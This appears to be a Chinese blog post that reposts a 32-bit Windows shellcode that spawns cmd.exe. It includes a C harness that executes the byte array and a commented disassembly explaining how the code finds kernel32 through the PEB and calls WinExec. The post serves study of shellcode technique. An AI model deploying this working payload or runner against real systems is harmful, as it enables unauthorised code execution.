一個32位的打開cmd的ShellCode

轉(zhuǎn)載自
http://shell-storm.org/shellcode/files/shellcode-662.php

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
    unsigned char shellcode[]=
    "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
    "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
    "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
    "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
    "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
    "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
    "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
    "\x24\x20\x57\xFF\xD0";
    printf("Size = %d\n", strlen(shellcode));
    system("PAUSE");
    ((void (*)())shellcode)();
    return 0;
}

對這個shellcode的分析

const char *shellcode = 
"\xFC"                         // cld                           ; 清空標志
"\x33\xD2"                     // xor  edx, edx
"\xB2\x30"                     // mov   dl, 30h                 ; FS 寄存器保存了 TEB 結(jié)構(gòu)體
                               //                               ; 30h 處是 PEB 結(jié)構(gòu)體
"\x64\xFF\x32"                 // push dword ptr fs:[edx]       ; PEB 地址入棧
"\x5A"                         // pop  edx                      ; 獲取 PEB 地址到 EDX
"\x8B\x52\x0C"                 // mov  edx, dword ptr [edx+0Ch] ; 獲取 PEB_LDR_DATA 結(jié)構(gòu)體地址到 EDX
"\x8B\x52\x14"                 // mov  edx, dword ptr [edx+14h] ; 獲取 InMemoryOrderModuleList 中的第一項 ENTRY 地址到 EDX
"\x8B\x72\x28"                 // mov  esi, dword ptr [edx+28h] ; 獲取 第一個 ENTRY 的 FullDllName 的地址到 ESI
"\x33\xC9"                     // xor  ecx, ecx
"\xB1\x18"                     // mov   cl, 18h
"\x33\xFF"                     // xor  edi, edi
"\x33\xC0"                     // xor  eax, eax
"\xAC"                         // lods byte ptr [esi]
"\x3C\x61"                     // cmp   al, 61h
"\x7C\x02"                     // jl   +2h
"\x2C\x20"                     // sub   al, 20h
"\xC1\xCF\x0D"                 // ror  edi, 0Dh
"\x03\xF8"                     // add  edi, eax
"\xE2\xF0"                     // loop -10h
"\x81\xFF\x5B\xBC\x4A\x6A"     // cmp  edi, 6A4ABC5Bh
"\x8B\x5A\x10"                 // mov  ebx, dword ptr [edx+10h]
"\x8B\x12"                     // mov  edx, dword ptr [edx]
"\x75\xDA"                     // jne  -26h                     ; 找到 KERNEL32.DLL 所在的 ENTRY
"\x8B\x53\x3C"                 // mov  edx, dword ptr [ebx+3Ch]
"\x03\xD3"                     // add  edx, ebx
"\xFF\x72\x34"                 // push dword ptr [edx+34h]
"\x8B\x52\x78"                 // mov  edx, dword ptr [edx+78h]
"\x03\xD3"                     // add  edx, ebx
"\x8B\x72\x20"                 // mov  esi, dword ptr [edx+20h]
"\x03\xF3"                     // add  esi, ebx
"\x33\xC9"                     // xor  ecx, ecx
"\x41"                         // inc  ecx
"\xAD"                         // lods dword ptr [esi]
"\x03\xC3"                     // add  eax, ebx
"\x81\x38\x47\x65\x74\x50"     // cmp  dword ptr   [eax], 50746547h
"\x75\xF4"                     // jne  -0ch
"\x81\x78\x04\x72\x6F\x63\x41" // cmp  dword ptr [eax+4], 41636F72h
"\x75\xEB"                     // jne  -15h
"\x81\x78\x08\x64\x64\x72\x65" // cmp  dword ptr [eax+8], 65726464h ; 獲得 "GetProcAddress" 函數(shù)的地址
"\x75\xE2"                     // jne  -1eh
"\x49"                         // dec  ecx
"\x8B\x72\x24"                 // mov  esi, dword ptr [edx+24h]
"\x03\xF3"                     // add  esi, ebx
"\x66\x8B\x0C\x4E"             // mov   cx, word ptr [esi+ecx*2]
"\x8B\x72\x1C"                 // mov  esi, dword ptr [edx+1Ch]
"\x03\xF3"                     // add  esi, ebx
"\x8B\x14\x8E"                 // mov  edx, dword ptr [esi+ecx*4]
"\x03\xD3"                     // add  edx, ebx
"\x52"                         // push edx
"\x68\x78\x65\x63\x01"         // push 01636578h
"\xFE\x4C\x24\x03"             // dec  byte ptr [esp+3]
"\x68\x57\x69\x6E\x45"         // push 456E6957h
"\x54"                         // push esp
"\x53"                         // push ebx
"\xFF\xD2"                     // call edx
"\x68\x63\x6D\x64\x01"         // push 01646D63h
"\xFE\x4C\x24\x03"             // dec  byte ptr [esp+3]
"\x6A\x05"                     // push 5
"\x33\xC9"                     // xor  ecx, ecx
"\x8D\x4C\x24\x04"             // lea  ecx, [esp+4]                 ; 獲得 "WinExec" 函數(shù)的地址
"\x51"                         // push ecx
"\xFF\xD0"                     // call eax
"\x68\x65\x73\x73\x01"         // push 01737365h
"\x8B\xDF"                     // mov  ebx, edi
"\xFE\x4C\x24\x03"             // dec  byte ptr [esp+3]
"\x68\x50\x72\x6F\x63"         // push 636F7250h
"\x68\x45\x78\x69\x74"         // push 74697845h
"\x54"                         // push esp
"\xFF\x74\x24\x20"             // push dword ptr [esp+20h]
"\xFF\x54\x24\x20"             // call dword ptr [esp+20h]           ; 執(zhí)行 WinExec("cmd")
"\x57"                         // push edi
"\xFF\xD0"                     // call eax                           ; 執(zhí)行 ExitProcess
;
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市姥敛,隨后出現(xiàn)的幾起案子再愈,更是在濱河造成了極大的恐慌,老刑警劉巖纪岁,帶你破解...
    沈念sama閱讀 218,122評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件与柑,死亡現(xiàn)場離奇詭異伦乔,居然都是意外死亡,警方通過查閱死者的電腦和手機集峦,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評論 3 395
  • 文/潘曉璐 我一進店門伏社,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人塔淤,你說我怎么就攤上這事摘昌。” “怎么了高蜂?”我有些...
    開封第一講書人閱讀 164,491評論 0 354
  • 文/不壞的土叔 我叫張陵聪黎,是天一觀的道長。 經(jīng)常有香客問我备恤,道長稿饰,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,636評論 1 293
  • 正文 為了忘掉前任露泊,我火速辦了婚禮喉镰,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘惭笑。我一直安慰自己侣姆,他們只是感情好,可當我...
    茶點故事閱讀 67,676評論 6 392
  • 文/花漫 我一把揭開白布沉噩。 她就那樣靜靜地躺著捺宗,像睡著了一般。 火紅的嫁衣襯著肌膚如雪川蒙。 梳的紋絲不亂的頭發(fā)上蚜厉,一...
    開封第一講書人閱讀 51,541評論 1 305
  • 那天,我揣著相機與錄音畜眨,去河邊找鬼昼牛。 笑死,一個胖子當著我的面吹牛康聂,可吹牛的內(nèi)容都是我干的匾嘱。 我是一名探鬼主播,決...
    沈念sama閱讀 40,292評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼早抠,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了撬讽?” 一聲冷哼從身側(cè)響起蕊连,我...
    開封第一講書人閱讀 39,211評論 0 276
  • 序言:老撾萬榮一對情侶失蹤悬垃,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后甘苍,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體尝蠕,經(jīng)...
    沈念sama閱讀 45,655評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,846評論 3 336
  • 正文 我和宋清朗相戀三年载庭,在試婚紗的時候發(fā)現(xiàn)自己被綠了看彼。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,965評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡囚聚,死狀恐怖靖榕,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情顽铸,我是刑警寧澤茁计,帶...
    沈念sama閱讀 35,684評論 5 347
  • 正文 年R本政府宣布,位于F島的核電站谓松,受9級特大地震影響星压,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜鬼譬,卻給世界環(huán)境...
    茶點故事閱讀 41,295評論 3 329
  • 文/蒙蒙 一娜膘、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧优质,春花似錦竣贪、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,894評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至牺六,卻和暖如春颤枪,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背淑际。 一陣腳步聲響...
    開封第一講書人閱讀 33,012評論 1 269
  • 我被黑心中介騙來泰國打工畏纲, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人春缕。 一個月前我還...
    沈念sama閱讀 48,126評論 3 370
  • 正文 我出身青樓盗胀,卻偏偏與公主長得像,于是被迫代替她去往敵國和親锄贼。 傳聞我的和親對象是個殘疾皇子票灰,可洞房花燭夜當晚...
    茶點故事閱讀 44,914評論 2 355

推薦閱讀更多精彩內(nèi)容